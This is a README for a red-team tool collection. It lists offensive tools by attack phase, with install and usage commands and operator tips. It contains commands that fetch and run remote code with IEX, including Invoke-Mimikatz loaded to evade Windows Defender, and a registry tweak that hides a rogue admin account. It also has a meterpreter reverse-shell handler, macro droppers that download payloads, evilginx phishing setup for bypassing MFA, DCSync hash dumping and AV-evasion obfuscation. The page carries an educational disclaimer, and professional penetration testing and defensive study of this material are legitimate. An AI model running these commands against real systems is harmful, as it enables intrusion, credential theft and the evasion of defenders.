RedTeam-Tools
Warning
The materials in this repository are for informational and educational purposes only. They are not intended for use in any illegal activities.
Tool List
Red Team Tips
- Hiding the local admin account @Alh4zr3d
- Cripple windows defender by deleting signatures @Alh4zr3d
- Enable multiple RDP sessions per user @Alh4zr3d
- Sysinternals PsExec.exe local alternative @GuhnooPlusLinux
- Live off the land port scanner @Alh4zr3d
- Proxy aware PowerShell DownloadString @Alh4zr3d
- Looking for internal endpoints in browser bookmarks @Alh4zr3d
- Query DNS records for enumeration @Alh4zr3d
- Unquoted service paths without PowerUp @Alh4zr3d
- Bypass a disabled command prompt with /k Martin Sohn Christensen
- Stop windows defender deleting mimikatz.exe @GuhnooPlusLinux
- Check if you are in a virtual machine @dmcxblue
- Enumerate AppLocker rules @Alh4zr3d
Reconnaissance
- crt.sh -> httprobe -> EyeWitness Automated domain screenshotting
- jsendpoints Extract page DOM links
- nuclei Vulnerability scanner
- certSniff Certificate transparency log keyword sniffer
- gobuster Website path brute force
- feroxbuster Fast content discovery tool written in Rust
- CloudBrute Cloud infrastructure brute force
- dnsrecon Enumerate DNS records
- Shodan.io Public facing system knowledge base
- AORT (All in One Recon Tool) Subdomain enumeration
- spoofcheck SPF/DMARC record checker
- AWSBucketDump S3 bucket enumeration
- GitHarvester GitHub credential searcher
- truffleHog GitHub credential scanner
- Dismap Asset discovery/identification
- enum4linux Windows/samba enumeration
- skanuvaty Dangerously fast dns/network/port scanner
- Metabigor OSINT tool without API
- Gitrob GitHub sensitive information scanner
- gowitness Web screenshot utility using Chrome Headless
Resource Development
Initial Access
- Bash Bunny USB attack tool
- EvilGoPhish Phishing campaign framework
- The Social-Engineer Toolkit Phishing campaign framework
- Hydra Brute force tool
- SquarePhish OAuth/QR code phishing framework
- King Phisher Phishing campaign framework
Execution
- Responder LLMNR, NBT-NS and MDNS poisoner
- secretsdump Remote hash dumper
- evil-winrm WinRM shell
- Donut In-memory .NET execution
- Macro_pack Macro obfuscation
- PowerSploit PowerShell script suite
- Rubeus Active directory hack tool
- SharpUp Windows vulnerability identifier
- SQLRecon Offensive MS-SQL toolkit
- UltimateAppLockerByPassList Common AppLocker Bypass Techniques
- StarFighters JavaScript and VBScript Based Empire Launcher
- demiguise HTA encryption toola
Persistence
- Impacket Python script suite
- Empire Post-exploitation framework
- SharPersist Windows persistence toolkit
- ligolo-ng Tunneling tool that uses a TUN interface
Privilege Escalation
- LinPEAS Linux privilege escalation
- WinPEAS Windows privilege escalation
- linux-smart-enumeration Linux privilege escalation
- Certify Active directory privilege escalation
- Get-GPPPassword Windows password extraction
- Sherlock PowerShell privilege escalation tool
- Watson Windows privilege escalation tool
- ImpulsiveDLLHijack DLL Hijack tool
- ADFSDump AD FS dump tool
Defense Evasion
- Invoke-Obfuscation Script obfuscator
- Veil Metasploit payload obfuscator
- SharpBlock EDR bypass via entry point execution prevention
- Alcatraz GUI x64 binary obfuscator
- Mangle Compiled executable manipulation
- AMSI Fail PowerShell snippets that break or disable AMSI
Credential Access
- Mimikatz Windows credential extractor
- LaZagne Local password extractor
- hashcat Password hash cracking
- John the Ripper Password hash cracking
- SCOMDecrypt SCOM Credential Decryption Tool
- nanodump LSASS process minidump creation
- eviltree Tree remake for credential discovery
- SeeYouCM-Thief Cisco phone systems configuration file parsing
- MailSniper Microsoft Exchange Mail Searcher
Discovery
- PCredz Credential discovery PCAP/live interface
- PingCastle Active directory assessor
- Seatbelt Local vulnerability scanner
- ADRecon Active directory recon
- adidnsdump Active Directory Integrated DNS dumping
- scavenger Scanning tool for scavenging systems
Lateral Movement
- crackmapexec Windows/Active directory lateral movement toolkit
- WMIOps WMI remote commands
- PowerLessShell Remote PowerShell without PowerShell
- PsExec Light-weight telnet-replacement
- LiquidSnake Fileless lateral movement
- Enabling RDP Windows RDP enable command
- Upgrading shell to meterpreter Reverse shell improvement
- Forwarding Ports Local port forward command
- Jenkins reverse shell Jenkins shell command
- ADFSpoof Forge AD FS security tokens
- kerbrute A tool to perform Kerberos pre-auth bruteforcing
- Coercer Coerce a Windows server to authenticate
Collection
- BloodHound Active directory visualisation
- Snaffler Active directory credential collector
- linWinPwn Active Directory Enumeration and Vulnerability checks
Command and Control
- Havoc Command and control framework
- Covenant Command and control framework (.NET)
- Merlin Command and control framework (Golang)
- Metasploit Framework Command and control framework (Ruby)
- Pupy Command and control framework (Python)
- Brute Ratel Command and control framework ($$$)
Exfiltration
- Dnscat2 C2 via DNS tunneling
- Cloakify Data transformation for exfiltration
- PyExfil Data exfiltration PoC
- Powershell RAT Python based backdoor
- GD-Thief Google drive exfiltration
Impact
- Conti Pentester Guide Leak Conti ransomware group affilate toolkit
- SlowLoris Simple denial of service
- usbkill Anti-forensic kill-switch
Red Team Tips
Learn from Red Teamers with a collection of Red Teaming Tips. These tips cover a range of tactics, tools, and methodologies to improve your red teaming abilities.
Note: Nearly all tips are currently from @Alh4zr3d, he posts good Red Team Tips!
🔙Hiding the local admin account
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
Description: 'Creating accounts is risky when evading blue, but when creating a local admin, use some cute sorcery in the registry to hide it.'
Credit: @Alh4zr3d
Link: Twitter
🔙Cripple windows defender by deleting signatures
Description: 'A bit messy, but if Windows Defender is causing you a big headache, rather than disabling it (which alerts the user), you should just neuter it by deleting all the signatures.'
Credit: @Alh4zr3d
Link: Twitter
🔙Enable multiple RDP sessions per user
Description: 'Sometimes you want to log in to a host via RDP or similar, but your user has an active session. Enable multiple sessions per user.'
Credit: @Alh4zr3d
Link: Twitter
🔙Sysinternals PsExec.exe local alternative
Description: 'Are you tired of uploading Sysinternals PsExec.exe when doing lateral movement? Windows has a better alternative preinstalled. Try this instead.'
Credit: @GuhnooPlusLinux
Link: Twitter
🔙Live off the land port scanner
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$_)) "Port $_ open"} 2>$null
Description: 'When possible, live off the land rather than uploading tools to machines (for many reasons). PowerShell/.NET help. Ex: simple port scanner in Powershell.'
Credit: @Alh4zr3d
Link: Twitter
🔙Proxy aware PowerShell DownloadString
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Description: 'Most large orgs are using web proxies these days. The standard PowerShell download cradle is not proxy aware. Use this one.'
Credit: @Alh4zr3d
Link: Twitter
🔙Looking for internal endpoints in browser bookmarks
type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
Description: 'You'd be surprised what you can find out from a user's bookmarks alone. Internal endpoints they can access, for instance.'
Credit: @Alh4zr3d
Link: Twitter
🔙Query DNS records for enumeration
Description: 'Enumeration is 95% of the game. However, launching tons of scans to evaluate the environment is very loud. Why not just ask the DC/DNS server for all DNS records?'
Credit: @Alh4zr3d
Link: Twitter
🔙Unquoted service paths without PowerUp
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Description: 'Finding unquoted service paths without PowerUp'
Credit: @Alh4zr3d
Link: Twitter
🔙Bypass a disabled command prompt with /k
Description: 'This command prompt has been disabled by your administrator...' Can usually be seen in environments such as kiosks PCs, a quick hacky work around is to use /k via the windows run box. This will carry out the command and then show the restriction message, allowing for command execution.
Credit: Martin Sohn Christensen
Link: Blog
🔙Stop windows defender deleting mimikatz.exe
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
Description: 'Are you tired of Windows Defender deleting mimikatz.exe? Try this instead.'
Credit: @GuhnooPlusLinux
Link: Twitter
🔙Check if you are in a virtual machine
Description: 'Want to know if you are in a Virtual Machine? Query the registry Keys and find out!!! If any results show up then you are in a Virtual Machine.'
Credit: @dmcxblue
Link: Twitter
🔙Enumerate AppLocker rules
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
Description: 'AppLocker can be a pain. Enumerate to see how painful'
Credit: @Alh4zr3d
Link: Twitter
Reconnaissance
🔙crt.sh -> httprobe -> EyeWitness
I have put together a bash one-liner that:
- Passively collects a list of subdomains from certificate associations (crt.sh)
- Actively requests each subdomain to verify it's existence (httprobe)
- Actively screenshots each subdomain for manual review (EyeWitness)
Usage:
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Note: You must have httprobe, pup and EyeWitness installed and change 'DOMAIN_COM' to the target domain. You are able to run this script concurrently in terminal windows if you have multiple target root domains
🔙jsendpoints
A JavaScript bookmarklet for extracting all webpage endpoint links on a page.
Created by @renniepak, this JavaScript code snippet can be used to extract all endpoints (starting with /) from the current webpage DOM including all external script sources embedded on the webpage.
javascript: (function () {
var scripts = document.getElementsByTagName("script"),
regex = /(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;
const results = new Set();
for (var i = 0; i < scripts.length; i++) {
var t = scripts[i].src;
"" != t &&
fetch(t)
.then(function (t) {
return t.text();
})
.then(function (t) {
var e = t.matchAll(regex);
for (let r of e) results.add(r[0]);
})
.catch(function (t) {
console.log("An error occurred: ", t);
});
}
var pageContent = document.documentElement.outerHTML,
matches = pageContent.matchAll(regex);
for (const match of matches) results.add(match[0]);
function writeResults() {
results.forEach(function (t) {
document.write(t + "<br>");
});
}
setTimeout(writeResults, 3e3);
})();
Usage (Bookmarklet)
Create a bookmarklet...
Right click your bookmark barClick 'Add Page'Paste the above Javascript in the 'url' boxClick 'Save'
...then visit the victim page in the browser and click the bookmarklet.
Usage (Console)
Paste the above Javascript into the console window F12 and press enter.
🔙nuclei
Fast vulnerability scanner that uses .yaml templates to search for specific issues.
Install:
Usage:
🔙certSniff
certSniff is a Certificate Transparency logs keyword watcher I wrote in Python. It uses the certstream library to watch for certificate creation logs that contain keywords, defined in a file.
You can set this running with several keywords relating to your victim domain, any certificate creations will be recorded and may lead to the discovery of domains you were previously unaware of.
Install:
Usage:
🔙gobuster
Nice tool for brute forcing file/folder paths on a victim website.
Install:
Usage:
gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
🔙feroxbuster
A tool designed to perform Forced Browsing, an attack where the aim is to enumerate and access resources that are not referenced by the web application, but are still accessible by an attacker.
Feroxbuster uses brute force combined with a wordlist to search for unlinked content in target directories. These resources may store sensitive information about web applications and operational systems, such as source code, credentials, internal network addressing, etc...
Install: (Kali)
Install: (Mac)
Install: (Windows)
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
For full installation instructions see here.
Usage:
# Add .pdf, .js, .html, .php, .txt, .json, and .docx to each url
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
# Scan with headers
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
# Read URLs from stdin
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
# Proxy requests through burpsuite
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Full usage examples can be found here.
Image used from https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif
🔙CloudBrute
A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Features:
- Cloud detection (IPINFO API and Source Code)
- Fast (concurrent)
- Cross Platform (windows, linux, mac)
- User-Agent Randomization
- Proxy Randomization (HTTP, Socks5)
Install:
Download the latest release for your system and follow the usage.
Usage:
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Image used from https://github.com/0xsha/CloudBrute
🔙dnsrecon
dnsrecon is a pyhton tool for enumerating DNS records (MX, SOA, NS, A, AAAA, SPF and TXT) and can provide a number of new associated victim hosts to pivot into from a single domain search.
Install:
Usage:
🔙shodan.io
Shodan crawls public infrastructure and displays it in a searchable format. Using a company name, domain name, IP address it is possible to discover potentially vulnerable systems relating to your target via shodan.
🔙AORT
Tool for enumerating subdomains, enumerating DNS, WAF detection, WHOIS, port scan, wayback machine, email harvesting.
Install:
Usage:
🔙spoofcheck
A program that checks if a domain can be spoofed from. The program checks SPF and DMARC records for weak configurations that allow spoofing. Additionally it will alert if the domain has DMARC configuration that sends mail or HTTP requests on failed SPF/DKIM emails.
Domains are spoofable if any of the following conditions are met:
- Lack of an SPF or DMARC record
- SPF record never specifies
~allor-all - DMARC policy is set to
p=noneor is nonexistent
Install:
Usage:
🔙AWSBucketDump
AWSBucketDump is a tool to quickly enumerate AWS S3 buckets to look for interesting files. It's similar to a subdomain bruteforcer but is made specifically for S3 buckets and also has some extra features that allow you to grep for files, as well as download interesting files.
Install:
git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
Usage:
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
🔙GitHarvester
Nice tool for finding information from GitHub with regex, with the ability to search specific GitHub users and/or projects.
Install:
Usage:
🔙truffleHog
TruffleHog is a tool that scans git repositories and looks for high-entropy strings and patterns that may indicate the presence of secrets, such as passwords and API keys. With TruffleHog, you can quickly and easily find sensitive information that may have been accidentally committed and pushed to a repository.
Install (Binaries): Link
Install (Go):
Usage:
🔙Dismap
Dismap is an asset discovery and identification tool. It can quickly identify protocols and fingerprint information such as web/tcp/udp, locate asset types, and is suitable for internal and external networks.
Dismap has a complete fingerprint rule base, currently including tcp/udp/tls protocol fingerprints and 4500+ web fingerprint rules, which can identify favicon, body, header, etc.
Install:
Dismap is a binary file for Linux, MacOS, and Windows. Go to Release to download the corresponding version to run:
# Linux or MacOS
chmod +x dismap-0.3-linux-amd64
./dismap-0.3-linux-amd64 -h
# Windows
dismap-0.3-windows-amd64.exe -h
Usage:
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000
Image used from https://github.com/zhzyker/dismap
🔙enum4linux
A tool for enumerating information from Windows and Samba systems.
It can be used to gather a wide range of information, including:
- Domain and domain controller information
- Local user and group information
- Shares and share permissions
- Security policies
- Active Directory information
Install: (Apt)
Install: (Git)
Usage:
# 'Do everything'
enum4linux.pl -a 192.168.2.55
# Obtain list of usernames (RestrictAnonymous = 0)
enum4linux.pl -U 192.168.2.55
# Obtain list of usernames (using authentication)
enum4linux.pl -u administrator -p password -U 192.168.2.55
# Get a list of groups and their members
enum4linux.pl -G 192.168.2.55
# Verbose scan
enum4linux.pl -v 192.168.2.55
Full usage information can be found in this blog.
Image used from https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/
🔙skanuvaty
Dangerously fast dns/network/port scanner, created by Esc4iCEscEsc, written in rust.
You will need a subdomains file. E.g. Subdomain wordlist by Sublist3r.
Install:
Download the latest release from here.
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
Usage:
Image used from https://github.com/Esc4iCEscEsc/skanuvaty
🔙Metabigor
Metabigor is Intelligence tool, its goal is to do OSINT tasks and more but without any API key.
Main Features:
- Searching information about IP Address, ASN and Organization.
- Wrapper for running rustscan, masscan and nmap more efficient on IP/CIDR.
- Finding more related domains of the target by applying various techniques (certificate, whois, Google Analytics, etc).
- Get Summary about IP address (powered by @thebl4ckturtle)
Install:
Usage:
# discovery IP of a company/organization
echo "company" | metabigor net --org -o /tmp/result.txt
# Getting more related domains by searching for certificate info
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
# Only run rustscan with full ports
echo '1.2.3.4/24' | metabigor scan -o result.txt
# Reverse Whois to find related domains
echo 'example.com' | metabigor related -s 'whois'
# Get Google Analytics ID directly from the URL
echo 'https://example.com' | metabigor related -s 'google-analytic'
Image used from https://github.com/j3ssie/metabigor
🔙Gitrob
Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github.
Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
The findings will be presented through a web interface for easy browsing and analysis.
Note: Gitrob will need a Github access token in order to interact with the Github API. Create a personal access token and save it in an environment variable in your .bashrc or similar shell configuration file:
Install: (Go)
Install: (Binary)
A precompiled version is available for each release.
Usage:
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json
Image used from https://www.uedbox.com/post/58828/
🔙gowitness
Gowitness is a website screenshot utility written in Golang, that uses Chrome Headless to generate screenshots of web interfaces using the command line, with a handy report viewer to process results. Both Linux and macOS is supported, with Windows support mostly working.
Install: (Go)
Full installation information can be found here.
Usage:
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
Full usage information can be found here.
Image used from https://github.com/sensepost/gowitness
Resource Development
🔙Chimera
Chimera is a PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures.
Install:
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help
Usage:
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
🔙msfvenom
Msfvenom allows the creation of payloads for various operating systems in a wide range of formats. It also supports obfuscation of payloads for AV bypass.
Set Up Listener
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT listening-port
run
Msfvenom Commands
PHP:
Windows:
Linux:
Java:
HTA:
🔙Shellter
Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.
It can be used in order to inject shellcode into native Windows applications (currently 32-bit applications only).
Shellter takes advantage of the original structure of the PE file and doesn’t apply any modification such as changing memory access permissions in sections (unless the user wants), adding an extra section with RWE access, and whatever would look dodgy under an AV scan.
Full README information can be found here.
Install: (Kali)
Install: (Windows)
Visit the download page and install.
Usage:
Just pick a legit binary to backdoor and run Shellter.
Some nice tips can be found here.
Lots of community usage demos can be found here.
Image used from https://www.kali.org/tools/shellter/images/shellter.png
🔙Freeze
Freeze is a payload creation tool used for circumventing EDR security controls to execute shellcode in a stealthy manner.
Freeze utilizes multiple techniques to not only remove Userland EDR hooks, but to also execute shellcode in such a way that it circumvents other endpoint monitoring controls.
Install:
Usage:
-I string
Path to the raw 64-bit shellcode.
-O string
Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe.
-console
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
-encrypt
Encrypts the shellcode using AES 256 encryption
-export string
For DLL Loaders Only - Specify a specific Export function for a loader to have.
-process string
The name of process to spawn. This process has to exist in C:\Windows\System32\. Example 'notepad.exe' (default "notepad.exe")
-sandbox
Enables sandbox evasion by checking:
Is Endpoint joined to a domain?
Does the Endpoint have more than 2 CPUs?
Does the Endpoint have more than 4 gigs of RAM?
-sha256
Provides the SHA256 value of the loaders (This is useful for tracking)
Image used from https://www.blackhatethicalhacking.com/tools/freeze/
🔙WordSteal
This script will create a Microsoft Word Document with a remote image, allowing for the capture of NTML hashes from a remote victim endpoint.
Microsoft Word has the ability to include images from remote locations, including a remote image hosted on an attacker controlled SMB server. This gives you the opportunity to listen for, and capture, NTLM hashes that are sent when an authenticated victim opens the Word document and renders the image.
Install:
Usage:
# Generate document containing 'test.jpg' and start listener
./main.py 127.0.0.1 test.jpg 1
# Generate document containing 'test.jpg' and do not start listener
./main.py 127.0.0.1 test.jpg 0\n
Image used from https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/
🔙WSH
Creating payload:
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
Execute:
wscript payload.vbs
cscript.exe payload.vbs
wscript /e:VBScript payload.txt //If .vbs files are blacklisted
🔙HTA
Creating payload:
<html>
<body>
<script>
var c = "cmd.exe";
new ActiveXObject("WScript.Shell").Run(c);
</script>
</body>
</html>
Execute: Run file
🔙VBA
Creating payload:
Sub calc()
Dim payload As String
payload = "calc.exe"
CreateObject("Wscript.Shell").Run payload,0
End Sub
Execute: Set function to Auto_Open() in macro enabled document
Initial Access
🔙Bash Bunny
The Bash Bunny is a physical USB attack tool and multi-function payload delivery system. It is designed to be plugged into a computer's USB port and can be programmed to perform a variety of functions, including manipulating and exfiltrating data, installing malware, and bypassing security measures.
hackinglab: Bash Bunny – Guide
🔙EvilGoPhish
evilginx2 + gophish. (GoPhish) Gophish is a powerful, open-source phishing framework that makes it easy to test your organization's exposure to phishing. (evilginx2) Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication
Install:
Usage:
Usage:
./setup <root domain> <subdomain(s)> <root domain bool> <redirect url> <feed bool> <rid replacement> <blacklist bool>
- root domain - the root domain to be used for the campaign
- subdomains - a space separated list of evilginx2 subdomains, can be one if only one
- root domain bool - true or false to proxy root domain to evilginx2
- redirect url - URL to redirect unauthorized Apache requests
- feed bool - true or false if you plan to use the live feed
- rid replacement - replace the gophish default "rid" in phishing URLs with this value
- blacklist bool - true or false to use Apache blacklist
Example:
./setup.sh example.com "accounts myaccount" false https://redirect.com/ true user_id false
🔙Social Engineer Toolkit (SET)
This framework is great for creating campaigns for initial access, 'SET has a number of custom attack vectors that allow you to make a believable attack quickly'.
Install:
Usage:
🔙Hydra
Nice tool for logon brute force attacks. Can bf a number of services including SSH, FTP, TELNET, HTTP etc.
Install:
Usage:
hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error"
hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
🔙SquarePhish
SquarePhish is an advanced phishing tool that uses a technique combining OAuth Device code authentication flow and QR codes (See PhishInSuits for more about OAuth Device Code flow for phishing attacks).
Attack Steps:
- Send malicious QR code to victim
- Victim scans QR code with mobile device
- Victim directed to attacker controlled server (Triggering OAuth Device Code authentication flow process)
- Victim emailed MFA code (Triggering OAuth Device Code flow 15 minute timer)
- Attacker polls for authentication
- Victim enters code into legit Microsoft website
- Attacker saves authentication token
Install:
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Note: Before using either module, update the required information in the settings.config file noted with Required.
Usage (Email Module):
usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL
victim email address to send initial QR code email to
Usage (Server Module):
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
🔙King Phisher
King Phisher is a tool that allows attackers to create and send phishing emails to victims to obtain sensitive information.
It includes features like customizable templates, campaign management, and email sending capabilities, making it a powerful and easy-to-use tool for carrying out phishing attacks. With King Phisher, atackers can target individuals or organizations with targeted and convincing phishing emails, increasing the chances of success in their attacks.
Install (Linux - Client & Server):
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh && \
sudo bash ./install.sh
Usage:
Once King Phisher has been installed please follow the wiki page to setup SSH, Database config, SMTP server etc.
Execution
🔙Responder
Responder is a tool for poisoning the LLMNR and NBT-NS protocols on a network, to allow for credential capture and arbitrary code execution.
The LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) protocols are used by Windows systems to resolve hostnames to IP addresses on a local network. If a hostname cannot be resolved using these protocols, the system will broadcast a request for the hostname to the local network.
Responder listens for these broadcasts and responds with a fake IP address, tricking the requesting system into sending its credentials to the attacker.
Install:
Usage:
Full usage information can be found here.
Image used from https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
🔙secretsdump
A utility that is part of the Impacket library that can be used to extract password hashes and other secrets from a Windows system.
It does this by interacting with the Security Account Manager (SAM) database on the system and extracting the hashed passwords and other information, such as:
- Password hashes for local accounts
- Kerberos tickets and keys
- LSA Secrets
Install:
Usage:
# Extract NTLM hashes with local files
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
# DCSync attack and dump the NTLM hashes of all domain users.
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30
Image used from https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy
🔙evil-winrm
Evil-WinRM is a tool that provides a command line interface for Windows Remote Management (WinRM: A service that allows administrators to remotely execute commands on a Windows machine).
Evil-WinRM allows an attacker to remotely connect to a Windows machine using WinRM and execute arbitrary commands.
Some features include:
- Loading in memory Powershell scripts
- Loading in memory dll files bypassing some AVs
- Loading x64 payloads
- Pass-the-hash support
- Uploading and downloading local and remote files
Install: (Git)
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Install: (Ruby gem)
Alternative installation instructions can be found here.
Usage:
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
Full usage documentation can be found here.
Image used from https://korbinian-spielvogel.de/posts/heist-writeup/
🔙Donut
A tool for in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It can be used to load and run custom payloads on target systems without the need to drop files to disk.
Install: (Windows)
To generate the loader template, dynamic library donut.dll, the static library donut.lib and the generator donut.exe. Start an x64 Microsoft Visual Studio Developer Command Prompt, change to the directory where you cloned the Donut repository and enter the following:
To do the same, except using MinGW-64 on Windows or Linux, change to the directory where you cloned the Donut repository and enter the following:
Install: (Linux)
Usage:
# Creating shellcode from an XSL file that pops up a calculator.
shellcode = donut.create(file=r"C:\\Tools\\Source\\Repos\\donut\\calc.xsl")
# Creating shellcode from an unmanaged DLL. Invokes DLLMain.
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
For full usage information, see the donut GitHub Page.
See a recent blog post from The Wover for more info.
🔙Macro_pack
A tool used to automatize the obfuscation and generation of Office documents, VB scripts, shortcuts, and other formats for red teaming.
Install: (Binary)
- Get the latest binary from https://github.com/sevagas/macro_pack/releases/
- Download binary on PC with genuine Microsoft Office installed.
- Open console, CD to binary dir and call the binary
Install: (Git)
Usage:
# Help Page
python3 macro_pack.py --help
# List all supported file formats
macro_pack.exe --listformats
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
# Obfuscate Empire stager VBA file and generate a MS Word document:
macro_pack.exe -f empire.vba -o -G myDoc.docm
# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
# Execute calc.exe via Dynamic Data Exchange (DDE) attack
echo calc.exe | macro_pack.exe --dde -G calc.xslx
🔙PowerSploit
A collection of PowerShell scripts and modules that can be used to achieve a variety of red teaming objectives.
Some of the features of PowerSploit:
- Dump password hashes and extract clear-text passwords from memory
- Escalate privileges and bypass security controls
- Execute arbitrary PowerShell code and bypass execution restrictions
- Perform network reconnaissance and discovery
